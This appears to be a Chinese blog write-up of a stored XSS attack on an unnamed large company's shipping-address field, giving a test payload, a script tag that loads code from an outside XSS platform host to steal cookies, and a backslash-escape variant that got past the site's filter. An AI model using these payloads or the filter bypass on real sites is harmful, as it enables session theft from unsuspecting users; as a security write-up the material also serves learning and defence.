【渗透实例】记录一次XSS渗透过程

最新推荐文章于 2025-06-09 18:00:31 发布

TeamsSix

最新推荐文章于 2025-06-09 18:00:31 发布

阅读量2.4k

点赞数 2

CC 4.0 BY-SA版权

分类专栏：渗透实例文章标签： XSS

本文链接：https://blog.youkuaiyun.com/qq_37683287/article/details/94591810

本文记录了一次XSS渗透过程，首先在目标网站的编辑收货地址处发现XSS漏洞，然后通过构造带转义字符的XSS代码成功绕过平台过滤，实现了与XSS平台的连接。虽然能获取用户Cookie等信息，但由于触发条件限制，实际利用价值有限。作者探讨了漏洞可能的其他利用价值，并欢迎读者分享想法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 找到存在XSS的位置

没什么技巧，见到框就X，功夫不负有心人，在目标网站编辑收货地址处发现了存在XSS的地方，没想到这种大公司还会存在XSS。

使用的XSS代码：<img src=1 onerror=alert(1)
#因为优快云编辑器的原因，这里括号不能补全，使用该XSS的时候alert(1)后要加上右括号以补全前面的左括号。

在这里插入图片描述

XSS平台给我们的XSS代码是这样的：

</tExtArEa>'"><sCRiPt sRC=https://xss8.cc/3Ri4></sCrIpT>

在这里插入图片描述
直接插入的话会提示参数非法，经过多次尝试，最后发现该平台会对双引号、script字符进行识别过滤，大小写会被过滤，于是尝试插入下面的语句:

</tExtArEa>'\"><\sCRiPt sRC=https://xss8.cc/3Ri4></\sCrIpT>

这条代码比上面平台给的XSS代码的多了几个 “\”，也就是转义字符，利用转义字符可以绕过该平台的策略，因为经验不足，所以在这一步尝试了很多种办法都没能绕过，要不有的可以插入但是连不上XSS平台，要不有的就是被识别拦截。

200万优质内容无限畅学